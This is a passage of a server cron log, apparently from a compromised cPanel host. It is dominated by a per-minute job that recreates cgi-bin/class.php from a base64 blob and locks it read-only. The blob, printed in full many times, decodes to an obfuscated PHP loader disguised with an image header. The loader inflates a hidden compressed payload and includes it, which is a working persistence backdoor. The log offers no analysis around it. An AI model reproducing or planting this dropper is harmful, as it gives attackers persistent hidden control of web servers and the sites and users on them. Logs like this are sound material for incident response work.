"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:38:01 server CROND[29856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:39:01 server CROND[29919]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 12:39:01 server CROND[29918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:40:01 server CROND[29984]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:40:01 server CROND[29985]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 12:40:01 server CROND[29986]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 12:40:01 server CROND[29987]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 12:41:01 server CROND[30096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:42:01 server CROND[30247]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 12:42:01 server CROND[30246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:43:01 server CROND[30311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:44:01 server CROND[30367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:45:01 server CROND[30448]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 12:45:01 server CROND[30450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:45:01 server CROND[30451]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 12:46:01 server CROND[30578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:47:01 server CROND[30635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:48:01 server CROND[30790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:49:01 server CROND[30850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:50:01 server CROND[30913]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 12:50:01 server CROND[30914]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 12:50:01 server CROND[30917]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 12:50:01 server CROND[30916]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 12:50:01 server CROND[30924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczP